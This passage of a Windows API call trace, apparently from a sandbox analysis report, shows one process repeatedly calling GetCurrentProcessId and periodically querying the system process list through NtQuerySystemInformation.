GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0288.518] GetCurrentProcessId () returned 0x10c0 [0289.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e118) returned 0x0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.048] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.049] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.050] GetCurrentProcessId () returned 0x10c0 [0289.051] GetCurrentProcessId () returned 0x10c0 [0289.051] GetCurrentProcessId () returned 0x10c0 [0289.051] GetCurrentProcessId () returned 0x10c0 [0289.051] GetCurrentProcessId () returned 0x10c0 [0289.051] GetCurrentProcessId () returned 0x10c0 [0289.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e1b8) returned 0x0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.568] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.569] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.570] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.571] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0289.572] GetCurrentProcessId () returned 0x10c0 [0290.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df88) returned 0x0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.090] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.091] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.092] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.093] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.094] GetCurrentProcessId () returned 0x10c0 [0290.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dd28) returned 0x0 [0290.608] GetCurrentProcessId () returned 0x10c0 [0290.608] GetCurrentProcessId () returned 0x10c0 [0290.608] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.609] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.610] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.611] GetCurrentProcessId () returned 0x10c0 [0290.612] GetCurrentProcessId () returned 0x10c0 [0290.612] GetCurrentProcessId () returned 0x10c0 [0290.612] GetCurrentProcessId () returned 0x10c0 [0290.612] GetCurrentProcessId () returned 0x10c0 [0290.612] GetCurrentProcessId () returned 0x10c0 [0290.612] GetCurrentProcessId () returned 0x10c0 [0291.142] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dd28) returned 0x0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.143] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.144] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () 